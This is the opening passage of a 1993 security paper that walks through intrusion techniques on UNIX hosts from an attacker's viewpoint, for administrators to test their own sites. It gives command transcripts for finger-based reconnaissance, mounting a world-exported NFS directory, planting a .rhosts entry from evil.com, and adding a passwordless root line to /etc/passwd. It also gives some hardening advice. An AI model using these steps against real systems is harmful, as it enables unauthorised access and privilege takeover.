Improving the Security of Your Site by Breaking Into it

Introduction

------------



Every day, all over the world, computer networks and hosts are being

broken into. The level of sophistication of these attacks varies

widely; while it is generally believed that most break-ins succeed due

to weak passwords, there are still a large number of intrusions that use

more advanced techniques to break in. Less is known about the latter

types of break-ins, because by their very nature they are much harder to

detect.



-----



CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley .

Purdue. Sun. You name it, we've seen it broken into. Anything that is

on the Internet (and many that isn't) seems to be fairly easy game. Are

these targets unusual? What happened?



Fade to...



A young boy, with greasy blonde hair, sitting in a dark room. The room

is illuminated only by the luminescense of the C64's 40 character

screen. Taking another long drag from his Benson and Hedges cigarette,

the weary system cracker telnets to the next faceless ".mil" site on his

hit list. "guest -- guest", "root -- root", and "system -- manager" all

fail. No matter. He has all night... he pencils the host off of his

list, and tiredly types in the next potential victim...



This seems to be the popular image of a system cracker. Young,

inexperienced, and possessing vast quantities of time to waste, to get

into just one more system. However, there is a far more dangerous type

of system cracker out there. One who knows the ins and outs of the

latest security auditing and cracking tools, who can modify them for

specific attacks, and who can write his/her own programs. One who not

only reads about the latest security holes, but also personally

discovers bugs and vulnerabilities. A deadly creature that can both

strike poisonously and hide its tracks without a whisper or hint of a

trail. The uebercracker is here.



-----



Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's

uebermensch, or, literally translated into English, "over man."

Nietzsche used the term not to refer to a comic book superman, but

instead a man who had gone beyond the incompetence, pettiness, and

weakness of the everyday man. The uebercracker is therefore the system

cracker who has gone beyond simple cookbook methods of breaking into

systems. An uebercracker is not usually motivated to perform random

acts of violence. Targets are not arbitrary -- there is a purpose,

whether it be personal monetary gain, a hit and run raid for

information, or a challenge to strike a major or prestigious site or

net.personality. An uebercracker is hard to detect, harder to stop, and

hardest to keep out of your site for good.



Overview

--------



In this paper we will take an unusual approach to system security.

Instead of merely saying that something is a problem, we will look

through the eyes of a potential intruder, and show _why_ it is one. We

will illustrate that even seemingly harmless network services can become

valuable tools in the search for weak points of a system, even when

these services are operating exactly as they are intended to.



In an effort to shed some light on how more advanced intrusions occur,

this paper outlines various mechanisms that crackers have actually used

to obtain access to systems and, in addition, some techniques we either

suspect intruders of using, or that we have used ourselves in tests or

in friendly/authorized environments.



Our motivation for writing this paper is that system administrators are

often unaware of the dangers presented by anything beyond the most

trivial attacks. While it is widely known that the proper level of

protection depends on what has to be protected, many sites appear to

lack the resources to assess what level of host and network security is

adequate. By showing what intruders can do to gain access to a remote

site, we are trying to help system administrators to make _informed_

decisions on how to secure their site -- or not. We will limit the

discussion to techniques that can give a remote intruder access to a

(possibly non-interactive) shell process on a UNIX host. Once this is

achieved, the details of obtaining root privilege are beyond the scope

of this work -- we consider them too site-dependent and, in many cases,

too trivial to merit much discussion.



We want to stress that we will not merely run down a list of bugs or

security holes -- there will always be new ones for a potential attacker

to exploit. The purpose of this paper is to try to get the reader to

look at her or his system in a new way -- one that will hopefully afford

him or her the opportunity to _understand_ how their system can be

compromised, and how.



We would also like to reiterate to the reader that the purpose of this

paper is to show you how to test the security of your own site, not how

to break into other people's systems. The intrusion techniques we

illustrate here will often leave traces in your system auditing logs --

it might be constructive to examine them after trying some of these

attacks out, to see what a real attack might look like. Certainly other

sites and system administrators will take a very dim view of your

activities if you decide to use their hosts for security testing without

advance authorization; indeed, it is quite possible that legal action

may be pursued against you if they perceive it as an attack.



There are four main parts to the paper. The first part is the

introduction and overview. The second part attempts to give the reader

a feel for what it is like to be an intruder and how to go from knowing

nothing about a system to compromising its security. This section goes

over actual techniques to gain information and entrance and covers basic

strategies such as exploiting trust and abusing improperly configured

basic network services (ftp, mail, tftp, etc.) It also discusses

slightly more advanced topics, such as NIS and NFS, as well as various

common bugs and configuration problems that are somewhat more OS or

system specific. Defensive strategies against each of the various

attacks are also covered here.



The third section deals with trust: how the security of one system

depends on the integrity of other systems. Trust is the most complex

subject in this paper, and for the sake of brevity we will limit the

discussion to clients in disguise.



The fourth section covers the basic steps that a system administrator

may take to protect her or his system. Most of the methods presented

here are merely common sense, but they are often ignored in practice --

one of our goals is to show just how dangerous it can be to ignore basic

security practices.



Case studies, pointers to security-related information, and software are

described in the appendices at the end of the paper.



While exploring the methods and strategies discussed in this paper we we

wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in

shell, perl, expect and C, it examines a remote host or set of hosts and

gathers as much information as possible by remotely probing NIS, finger,

NFS, ftp and tftp, rexd, and other services. This information includes

the presence of various network information services as well as

potential security flaws -- usually in the form of incorrectly setup or

configured network services, well-known bugs in system or network

utilities, or poor or ignorant policy decisions. It then can either

report on this data or use an expert system to further investigate any

potential security problems. While SATAN doesn't use all of the methods

that we discuss in the paper, it has succeeded with ominous regularity

in finding serious holes in the security of Internet sites. It will be

posted and made available via anonymous ftp when completed; Appendix A

covers its salient features.



Note that it isn't possible to cover all possible methods of breaking

into systems in a single paper. Indeed, we won't cover two of the most

effective methods of breaking into hosts: social engineering and

password cracking. The latter method is so effective, however, that

several of the strategies presented here are geared towards acquiring

password files. In addition, while windowing systems (X, OpenWindows,

etc.) can provide a fertile ground for exploitation, we simply don't

know many methods that are used to break into remote systems. Many

system crackers use non-bitmapped terminals which can prevent them from

using some of the more interesting methods to exploit windowing systems

effectively (although being able to monitor the victim's keyboard is

often sufficient to capture passwords). Finally, while worms, viruses,

trojan horses, and other malware are very interesting, they are not

common (on UNIX systems) and probably will use similar techniques to the

ones we describe in this paper as individual parts to their attack

strategy.



Gaining Information

-------------------



Let us assume that you are the head system administrator of Victim

Incorporated's network of UNIX workstations. In an effort to secure

your machines, you ask a friendly system administrator from a nearby

site (evil.com) to give you an account on one of her machines so that

you can look at your own system's security from the outside.



What should you do? First, try to gather information about your

(target) host. There is a wealth of network services to look at:

finger, showmount, and rpcinfo are good starting points. But don't stop

there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,

and as many other services as you can find. There are so many methods

and techniques that space precludes us from showing all of them, but we

will try to show a cross-section of the most common and/or dangerous

strategies that we have seen or have thought of. Ideally, you would

gather such information about all hosts on the subnet or area of attack

-- information is power -- but for now we'll examine only our intended

target.



To start out, you look at what the ubiquitous finger command shows you

(assume it is 6pm, Nov 6, 1993):



victim % finger @victim.com

[victim.com]

Login Name TTY Idle When Where

zen Dr. Fubar co 1d Wed 08:00 death.com



Good! A single idle user -- it is likely that no one will notice if you

actually manage to break in.



Now you try more tactics. As every finger devotee knows, fingering "@",

"0", and "", as well as common names, such as root, bin, ftp, system,

guest, demo, manager, etc., can reveal interesting information. What

that information is depends on the version of finger that your target is

running, but the most notable are account names, along with their home

directories and the host that they last logged in from.



To add to this information, you can use rusers (in particular with the

-l flag) to get useful information on logged-in users.



Trying these commands on victim.com reveals the following information,

presented in a compressed tabular form to save space:



Login Home-dir Shell Last login, from where

----- -------- ----- ----------------------

root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com

bin /bin Never logged in

nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co

daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com

sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com

zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com

sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com

guest /export/foo /bin/sh Never logged in

ftp /home/ftp Never logged in



Both our experiments with SATAN and watching system crackers at work

have proved to us that finger is one of the most dangerous services,

because it is so useful for investigating a potential target. However,

much of this information is useful only when used in conjunction with

other data.



For instance, running showmount on your target reveals:



evil % showmount -e victim.com

export list for victim.com:

/export (everyone)

/var (everyone)

/usr easy

/export/exec/kvm/sun4c.sunos.4.1.3 easy

/export/root/easy easy

/export/swap/easy easy



Note that /export/foo is exported to the world; also note that this is

user guest's home directory. Time for your first break-in! In this

case, you'll mount the home directory of user "guest." Since you don't

have a corresponding account on the local machine and since root cannot

modify files on an NFS mounted filesystem, you create a "guest" account

in your local password file. As user guest you can put an .rhosts entry

in the remote guest home directory, which will allow you to login to the

target machine without having to supply a password.



evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest

evil # su guest

evil % echo evil.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com!

victim %



If, instead of home directories, victim.com were exporting filesystems

with user commands (say, /usr or /usr/local/bin), you could replace a

command with a trojan horse that executes any command of your choice.

The next user to execute that command would execute your program.



We suggest that filesystems be exported:



o Read/write only to specific, trusted clients.

o Read-only, where possible (data or programs can often be

exported in this manner.)



If the target has a "+" wildcard in its /etc/hosts.equiv (the default in

various vendor's machines) or has the netgroups bug (CERT advisory

91:12), any non-root user with a login name in the target's password

file can rlogin to the target without a password. And since the user

"bin" often owns key files and directories, your next attack is to try

to log in to the target host and modify the password file to let you

have root access:



evil % whoami

bin

evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell...

victim % ls -ldg /etc

drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc

victim % cd /etc

victim % mv passwd pw.old

victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd

victim % ^D

evil % rlogin victim.com -l toor

Welcome to victim.com!

victim #



A few notes about the method used above; "rsh victim.com